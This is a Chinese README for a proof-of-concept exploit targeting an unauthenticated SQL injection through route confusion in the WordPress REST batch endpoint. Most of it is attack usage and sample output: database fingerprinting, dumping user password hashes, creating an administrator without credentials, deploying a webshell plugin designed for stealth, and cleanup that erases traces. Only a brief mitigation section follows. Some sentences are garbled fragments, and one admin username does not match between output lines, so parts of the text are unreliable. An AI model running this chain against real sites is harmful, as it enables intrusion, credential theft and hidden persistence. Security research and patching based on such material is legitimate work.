WordPress REST 批量路由混淆 SQL 注入(CVE-2026-63030)概念验证
研究、漏洞利用开发与文档编写:Ch4120N
本仓库及随附工具(exploit.py)仅用于教育目的、经授权的渗透测试和安全研究。
在未事先获得明确书面同意的情况下,针对目标使用此漏洞利用程序属违法行为,并违反全球范围内的计算机欺诈与滥用法。作者(Ch4120N)对因使用本代码而产生的任何滥用、损害或法律后果概不负责。请始终在法律允许范围内操作,并获取适当授权。
CVE-2026-63030 是一个影响 WordPress REST API 的严重未认证漏洞。它利用了嵌套批处理端点(/wp-json/batch/v1 或 /?rest_route=/batch/v1)中的路由混淆缺陷。
当 WordPress 处理一批 REST API 请求时,它会在执行前根据每个子请求的特定模式(schema)对其进行校验。然而,由于内部路由指针在处理刻意构造的畸形路径(例如 ///)时存在缺陷,校验模式与实际执行处理器之间会发生失步(desynchronized)。
/wp/v2/users 端点(该端点不接受 author_exclude)的请求由 /wp/v2/posts 处理器执行。未经过滤的 author_exclude 参数被直接传入 WP_Query 的 author__not_in 子句,造成未认证 SQL 注入。oembed_cache 文章 ID。随后,漏洞利用程序使用 Customizer changeset 负载污染导航菜单缓存,诱使 WordPress 在现有管理员的上下文环境中执行用户创建请求。pip install。exploit.py)中。WP_Post 行进行带内提取(每个值 1 个请求)。WP_DEBUG_DISPLAY,则利用 EXTRACTVALUE() XPATH 错误。cd)。无需第三方包。请确保已安装 Python 3.8 或更高版本。
# Clone the repository
git clone https://github.com/Ch4120N/CVE-2026-63030.git
cd CVE-2026-63030
# Make the script executable
chmod +x exploit.py
# Verify Python version
python3 --version
# Executing the script
python3 exploit.py
该漏洞利用程序分为三个主要子命令:check、read 和 shell。
以下选项适用于所有子命令:
| 选项 | 描述 | 默认值 |
|---|---|---|
url | 目标基础 URL(例如 http://target.com) | 必填 |
--rest-route | 使用 /?rest_route=/batch/v1 代替 /wp-json/batch/v1(适用于禁用固定链接的站点)。 | False |
--timeout | HTTP 请求超时时间(秒)。 | 30.0 |
--proxy | HTTP/HTTPS 代理(例如 http://127.0.0.1:8080)。 | None |
check - 漏洞检测安全地探测目标,以确认路由混淆标记是否存在,并在不提取数据的情况下测试 SQLi 时序。
| 选项 | 描述 | 默认值 |
|---|---|---|
--sleep | 由 --confirm-sqli 回退使用的 SQL 时序延迟(秒)。 | 3.0 |
--samples | 要测试的基线/延迟 SQL 时序对数量。 | 3 |
--confirm-sqli | 发送一个主动的 SQLi 确认负载(会增加少许延迟)。 | False |
read - 数据库提取通过 SQL 注入直接从数据库提取数据。
| 选项 | 描述 | 默认值 |
|---|---|---|
--preset | 快速提取预设:fingerprint(版本/用户/数据库)或 users(登录名/哈希)。 | fingerprint |
--query | 执行自定义标量 SQL 表达式(例如 "SELECT @@version")。 | None |
--prefix | 数据库表前缀。 | wp_ |
--max-length | 每个值最多提取的字符数。 | 128 |
--technique | 提取技术:auto、union、error 或 blind。 | auto |
shell - 远程代码执行部署 webshell 并执行命令。如果未提供凭据,它会自动触发预认证管理员创建桥接。
| 选项 | 描述 | 默认值 |
|---|---|---|
--user | 管理员用户名。(省略以使用预认证桥接)。 | None |
--password | 管理员密码。(省略以使用预认证桥接)。 | None |
--cmd | 要在目标上运行的单个命令。 | None |
-i, --interactive | 部署后打开交互式 shell(REPL)。 | False |
以下是该工具实际运行的示例。
$ python3 exploit.py check http://vulnerable-wordpress.local --confirm-sqli
[*] WordPress markers found (wp-content / wp-includes / wp-json)
[*] Public WordPress version hints:
- 6.9.2 via REST API generator (exploit affected range) - WordPress 6.9.2
[!] A public version hint falls in the exploit affected range; verify internally or confirm with authorization.
[*] Batch probe -> HTTP 207; markers matched: parse_path_failed, block_cannot_read, rest_batch_not_allowed
[+] VULNERABLE — batch route-confusion behavior detected.
[*] Sending active SQLi confirmation payload...
[+] SQLi confirmed — UNION fake-post read returned data.
$ python3 exploit.py read http://vulnerable-wordpress.local --preset fingerprint --technique union
[+] UNION extraction available (in-band, one request per value) — using it.
[+] MySQL version: 10.6.12-MariaDB-0ubuntu0.22.04.1
[+] Database user: wp_user@localhost
[+] Database name: wordpress_db
[*] 3 request(s) sent.
$ python3 exploit.py read http://vulnerable-wordpress.local --preset users --prefix wp_
[+] UNION extraction available (in-band, one request per value) — using it.
[*] 3 user(s) in wp_users.
1|admin|$P$Bx8vT9qZ2mK5jL8nP3rY7wE1cV0xZ
2|editor|$P$B9zX8vT2mK5jL8nP3rY7wE1cV0xZq
5|subscriber|$P$Bx8vT9qZ2mK5jL8nP3rY7wE1cV0xZqZ
[*] 15 request(s) sent.
请注意该工具如何自动创建管理员账户、部署 shell,并在退出后清理痕迹。
$ python3 exploit.py shell http://vulnerable-wordpress.local --interactive
[!] This uploads a plugin containing a webshell to the target.
[!] No credentials supplied; attempting pre-auth administrator creation.
[*] Creating administrator through the SQLi-to-customizer bridge...
Extracting table name...
Finding source admin ID...
Seeding oEmbed cache...
Forging changeset payload...
[+] Administrator created: wp2_a8f3b2c1
[*] Authenticating as 'wp_a8f3b2c1'...
[+] Authenticated.
[*] Deploying webshell plugin...
[+] Webshell: http://vulnerable-wordpress.local/wp-content/plugins/wp_9f8e7d6c/wp_9f8e7d6c.php
[*] Interactive shell — type commands, 'exit' or Ctrl-D to quit.
/var/www/html $ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/var/www/html $ cd /tmp
/tmp $ cat flag.txt
FLAG{r0ut3_c0nfus10n_1s_d4ng3r0us}
/tmp $ exit
[*] Deleting generated administrator...
[+] Generated administrator removed from the target.
[*] Cleaning up webshell...
[+] Webshell removed from the target.
该漏洞利用的核心依赖于注入 _DESYNC_PRIMER = {"method": "POST", "path": "///"}。这个无效 URL 会迫使 WordPress 的内部路由为第一个子请求生成一个 WP_Error。这会使内部指针发生偏移,导致第二个子请求按照一个模式进行校验,却由第三个子请求的处理器执行。由此将 author_exclude 参数偷偷传入 WP_Query 中。
该工具没有采用缓慢的盲注 SQLi,而是使用 UNION SELECT 注入一个完整构造的伪造 wp_posts 行。通过设置 orderby=none 和 per_page=500,它阻止 WP_Query 拆分查询。注入的 post_title 包含目标 SQL 表达式的十六进制编码结果,并使用 || 分隔符包裹,该结果会直接反映在 REST API JSON 响应中。
部署的 PHP 插件专为高度隐蔽而设计:
wp_a1b2c3d4.php)。t)和命令(c)。hash_equals() 防止针对令牌的时序攻击。chdir)以防止路径泄露。EXPLOIT::...::END 标记包裹,便于 Python 客户端干净地解析。mu-plugins)禁用它:
add_filter( 'rest_request_before_callbacks', function( $response, $handler, $request ) {
if ( $request->get_route() === '/batch/v1' ) {
return new WP_Error( 'rest_disabled', 'Batch endpoint disabled', array( 'status' => 403 ) );
}
return $response;
}, 10, 3 );
author_exclude 的嵌套 /batch/v1 请求。UNION、SLEEP() 或 EXTRACTVALUE 的请求。/// 的畸形路径。wp-config.php 中的 WP_DEBUG_DISPLAY 设置为 false,以防止基于报错的 SQLi 信息泄露。“能力越大,责任越大。善用这些知识去防御,而不是去破坏。”
— Ch4120N